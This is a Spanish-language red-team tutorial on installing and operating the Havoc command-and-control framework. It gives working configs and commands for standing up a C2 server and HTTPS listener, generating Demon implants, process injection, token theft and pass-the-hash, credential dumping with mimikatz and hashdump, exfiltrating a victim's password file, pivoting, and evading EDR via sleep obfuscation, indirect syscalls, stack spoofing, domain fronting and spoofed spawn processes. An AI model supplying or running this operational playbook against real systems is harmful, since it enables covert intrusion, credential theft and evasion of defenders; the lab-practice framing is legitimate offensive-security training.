Havoc C2 Framework: Guía de Introducción

Havoc es un framework de comando y control de código abierto que se ha convertido rápidamente en la alternativa preferida a Cobalt Strike para los red teamers que no pueden justificar un precio de $5,000 por licencia. Está en desarrollo activo, tiene capacidades de evasión sólidas y el implante — llamado Demon — soporta la mayoría de lo que necesitas para un engagement real.

Esta guía cubre todo: instalación, configuración de listeners, generación de payloads Demon, post-explotación y nociones básicas de evasión.

¿Qué es Havoc C2?

Havoc es un framework C2 moderno desarrollado por HavocFramework . La arquitectura sigue el esquema estándar del red team:

• Team Server — backend que gestiona todas las conexiones de operadores y callbacks de implantes
• Cliente — interfaz gráfica en Qt a la que se conectan los operadores
• Demon — el implante (agente) que se ejecuta en las máquinas objetivo
• Listeners — manejadores HTTP/HTTPS/SMB para los callbacks de Demon

Lo que distingue a Havoc de frameworks más antiguos:

No reemplazará a Cobalt Strike en todos los escenarios — CS sigue ganando en madurez y ecosistema — pero para la mayoría de las operaciones de red team, Havoc cumple perfectamente.

Configuración del Laboratorio

Necesitas un servidor C2 dedicado. Ejecutar esto en tu máquina personal es mala idea — conviene separar la infraestructura de ataque de tu equipo cotidiano.

Un VPS es la opción práctica. Vultr y DigitalOcean funcionan bien para infraestructura C2 — económicos, rápidos de desplegar y fáciles de eliminar al terminar el engagement.

Configuración recomendada:

• Ubuntu 22.04 LTS
• 2 vCPUs / 4 GB de RAM mínimo
• Dominio propio para el listener (no uses la IP directa — es fácilmente detectada)

Instalación

Dependencias

sudo apt update && sudo apt install -y \
  build-essential \
  cmake \
  mingw-w64 \
  python3 \
  python3-pip \
  golang-go \
  git \
  nasm \
  libssl-dev \
  libz-dev \
  libffi-dev

Clonar el Repositorio

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

Compilar el Team Server

cd teamserver
go mod download
go build -o havoc .

Compilar el Cliente

El cliente requiere Qt. En Ubuntu:

sudo apt install -y \
  qt6-base-dev \
  libqt6websockets6-dev \
  qt6-websockets-dev

cd ../client
mkdir build && cd build
cmake ..
make -j$(nproc)

Nota: Qt6 puede dar problemas según la distribución. Ubuntu 22.04 es el entorno más estable. Algunos operadores ejecutan el cliente en local y se conectan remotamente al team server.

Configuración del Team Server

El team server lee de un archivo de perfil. Crea config.yaotl en la raíz del proyecto:

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "x86_64-w64-mingw32-gcc"
        Compiler86 = "i686-w64-mingw32-gcc"
        Nasm       = "/usr/bin/nasm"
    }
}

Operators {
    user "operador1" {
        Password = "TuContraseñaSegura"
    }
}

Listeners {
    Http {
        Name         = "main-http"
        Hosts        = ["TU_IP_C2"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        Port         = 80
        Secure       = false
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }
}

Demon {
    Sleep  = 5
    Jitter = 30
}

Reemplaza TU_IP_C2 con la IP o dominio de tu servidor.

Iniciar el Team Server

./teamserver/havoc server --profile config.yaotl

Deberías ver:

[*] Starting Havoc Framework [Team Server]
[*] Listening on 0.0.0.0:40056

Conectar el Cliente

Lanza el cliente Havoc:

./client/Havoc

En el diálogo de inicio de sesión:

• Host: IP de tu team server
• Port: 40056 (o el que hayas configurado)
• User: operador1
• Password: tu contraseña

Una vez conectado, accedes a la interfaz principal del operador: listeners configurados, tabla de sesiones (vacía hasta el primer callback) y el registro de eventos.

Configurar un Listener

Si no definiste listeners en el perfil, puedes crearlos desde la interfaz:

1. Ve a View → Listeners
2. Haz clic en Add
3. Configura:
   • Protocol: HTTP o HTTPS
   • Host: Tu dominio C2 o IP
   • Port: 80 o 443
   • Bind: 0.0.0.0

Para listeners HTTPS necesitas un certificado válido. En tu servidor C2:

# Usando certbot con un dominio propio
sudo certbot certonly --standalone -d c2.tudominio.com

Apunta Havoc al certificado:

Listeners {
    Http {
        Name    = "main-https"
        Hosts   = ["c2.tudominio.com"]
        Port    = 443
        Secure  = true
        Cert    = "/etc/letsencrypt/live/c2.tudominio.com/fullchain.pem"
        Key     = "/etc/letsencrypt/live/c2.tudominio.com/privkey.pem"
    }
}

Los listeners HTTPS reducen drásticamente las tasas de detección frente a HTTP plano.

Generar Payloads Demon

Aquí es donde los operadores invierten más tiempo. En el cliente:

1. Ve a Attack → Payload
2. Selecciona Demon
3. Configura:

Formato Shellcode

El shellcode ofrece mayor flexibilidad para inyección:

• Formato: Windows Shellcode
• Inyectar en un proceso legítimo mediante tu loader preferido

Para pruebas rápidas, Windows EXE funciona en un entorno de laboratorio. Para engagements reales, shellcode + loader personalizado.

Salida del Build

El payload se descargará en tu máquina cliente. Transfiérelo al objetivo para pruebas.

Comandos de Post-Explotación

Una vez obtengas un callback de Demon, haz clic derecho en la sesión para abrir la consola de interacción. Comandos clave:

Reconocimiento Básico

# Información del sistema
shell whoami /all
shell systeminfo

# Red
shell ipconfig /all
shell netstat -an

# Procesos en ejecución
ps

Inyección de Procesos

# Inyectar en un PID
inject <PID> <ruta_shellcode>

# Crear proceso sacrificial e inyectar
shinject <PID> <ruta_shellcode>

Manipulación de Tokens

# Listar tokens
token list

# Robar token de un PID
token steal <PID>

# Crear token (PTH)
token make <dominio> <usuario> <NTLM>

# Revertir al token original
token revert

Sistema de Archivos

# Descargar un archivo
download C:\Users\victima\Desktop\contraseñas.txt

# Subir un archivo
upload /ruta/local C:\ruta\destino

# Listar directorio
ls C:\Users\victima

# Cambiar directorio
cd C:\Windows\Temp

Acceso a Credenciales

# Volcar LSASS via MiniDump
hashdump

# Ejecutar mimikatz (integrado)
mimikatz "sekurlsa::logonpasswords"
mimikatz "lsadump::sam"

Pivoting

# Proxy SOCKS5
socks 5 1080

# Reenvío de puertos
portfwd add <puerto_local> <host_remoto> <puerto_remoto>

Nociones Básicas de Evasión

Havoc tiene funciones de evasión integradas, pero necesitas entender qué estás habilitando y por qué.

Ofuscación en Reposo (Sleep Obfuscation)

Cuando Demon está dormido entre callbacks, puede cifrarse en memoria. Esto neutraliza los escáneres que buscan firmas de beacon.

En la configuración del payload:

• Sleep Technique: WaitForSingleObjectEx es la más compatible
• Ekko y Zilean son más agresivas pero pueden causar inestabilidad en algunos objetivos

Habilitar en el builder o en el perfil:

Demon {
    Sleep           = 10
    Jitter          = 35
    SleepTechnique  = "WaitForSingleObjectEx"
    Obfuscate       = true
}

Syscalls Indirectas

Havoc soporta syscalls indirectas para evadir EDRs que hookean NTDLL. Se habilita en la generación del payload: enruta las llamadas al sistema a través de stubs legítimas de NTDLL en lugar de syscalls directas, que son cada vez más detectadas.

Stack Spoofing

El stack spoofing hace que la pila de llamadas de Demon parezca pertenecer a una función legítima de Windows. Se habilita en la configuración del payload. Mejora significativamente la evasión frente a Elastic y Defender.

HTTPS + Domain Fronting

Coloca una CDN (Cloudflare, AWS CloudFront) frente a tu servidor C2. El tráfico parece dirigirse a un nodo de borde legítimo de la CDN en lugar de a tu IP C2. Requiere configuración DNS adecuada pero reduce drásticamente la detección a nivel de red.

Consideraciones OPSEC

Algunos puntos que te van a quemar si los ignoras:

Proceso de spawn — Demon usa dllhost.exe por defecto para operaciones fork-and-run. La mayoría de los EDRs lo detectan. Cambia el proceso de spawn-to:

Demon {
    SpawnTo = "C:\\Windows\\System32\\svchost.exe"
}

Objetivos de inyección — No inyectes en notepad.exe. Apunta a procesos legítimos de larga duración: svchost.exe, explorer.exe, RuntimeBroker.exe.

Intervalos de sleep — No duermas exactamente 5 segundos cada vez. El jitter (20–40%) dificulta la detección del patrón de callback mediante análisis de red.

Payloads staged vs stageless — Los payloads stageless (binario Demon completo) son más grandes pero no necesitan conectividad de red para descargar el resto del implante. Para engagements con restricciones de egreso, stageless es más seguro.

Havoc vs Sliver vs Cobalt Strike

Cubrimos Sliver C2 en profundidad aquí . Comparativa rápida específica de Havoc:

Havoc gana en experiencia GUI — el cliente Qt es genuinamente bueno. Sliver tiene mejor soporte multiplataforma para implantes. Cobalt Strike sigue ganando en madurez y ecosistema de herramientas de terceros, pero el precio lo pone fuera del alcance de la mayoría de los equipos.

Para la mayoría de los red teams internos y operadores individuales, Havoc o Sliver cubre el 80% de las necesidades reales.

Ejecutar Havoc en un Laboratorio

Para practicar de forma segura sin un objetivo real:

1. Levanta una VM con Windows 10/11 (desactiva Defender para las pruebas iniciales)
2. Genera un payload Demon desde tu servidor Havoc
3. Ejecútalo en la VM de Windows
4. Recibirás un callback en el cliente Havoc

Trabaja cada categoría de comandos: shell, inyección de procesos, manipulación de tokens, mimikatz. Familiarízate con la interfaz antes de cualquier engagement real.

Un VPS como servidor C2 mantiene tu red doméstica limpia y te da una configuración realista. Vultr cuesta alrededor de $6/mes para una instancia básica — levántala cuando la necesites, elimínala cuando termines.

Problemas Comunes

El team server no arranca:

• Verifica que el puerto no esté en uso: ss -tlnp | grep 40056
• Comprueba que Go está instalado: go version
• Revisa la sintaxis del perfil — YAOTL es estricto con los corchetes

El cliente no puede conectarse:

• Confirma que el team server está corriendo y que el firewall permite el puerto 40056
• Verifica que la IP/hostname en el cliente coincide con el servidor
• Problemas de verificación TLS: prueba con el flag -k durante las pruebas

Fallo en la compilación (mingw-w64):

• Verifica el cross-compiler: x86_64-w64-mingw32-gcc --version
• En algunas distribuciones: sudo apt install gcc-mingw-w64

Demon no realiza callback:

• Comprueba que el listener está activo (verde en la UI)
• Verifica que el firewall permite entrada en el puerto del listener
• Prueba conectividad desde el objetivo: curl http://TU_IP_C2

Próximos Pasos

Una vez que domines los fundamentos de Havoc:

• BOF (Beacon Object Files) — Havoc soporta los BOFs de Cobalt Strike. Existe una enorme biblioteca de herramientas ofensivas listas para usar
• Loaders personalizados — No uses el EXE crudo. Escribe un loader de shellcode en C/C++ o Nim para evitar la detección estática
• Infraestructura — Configura redirectores entre tu C2 y los objetivos. Lo cubriremos en Infraestructura Red Team: Configuración de Redirectores C2 (próximamente)
• Evasión avanzada — Estudia ETW patching, bypass de AMSI y API unhooking

La wiki de GitHub de Havoc es una referencia sólida. La comunidad en Discord es activa si te encuentras con bloqueos.

Conclusión

Havoc encuentra el equilibrio correcto para la mayoría de los red teamers: gratuito, en desarrollo activo, capacidades de evasión reales y una GUI usable. La instalación lleva un par de horas. La competencia operacional requiere práctica.

Consigue un VPS, levanta tu team server, genera un payload Demon y empieza a trabajar los comandos de post-explotación. El framework recompensa a los operadores que entienden lo que ocurre bajo el capó — no a los que simplemente hacen clic en la GUI.

¿Necesitas redactar informes de pentest o contenido de seguridad para tu equipo? CipherWrite se especializa en redacción técnica para equipos de seguridad.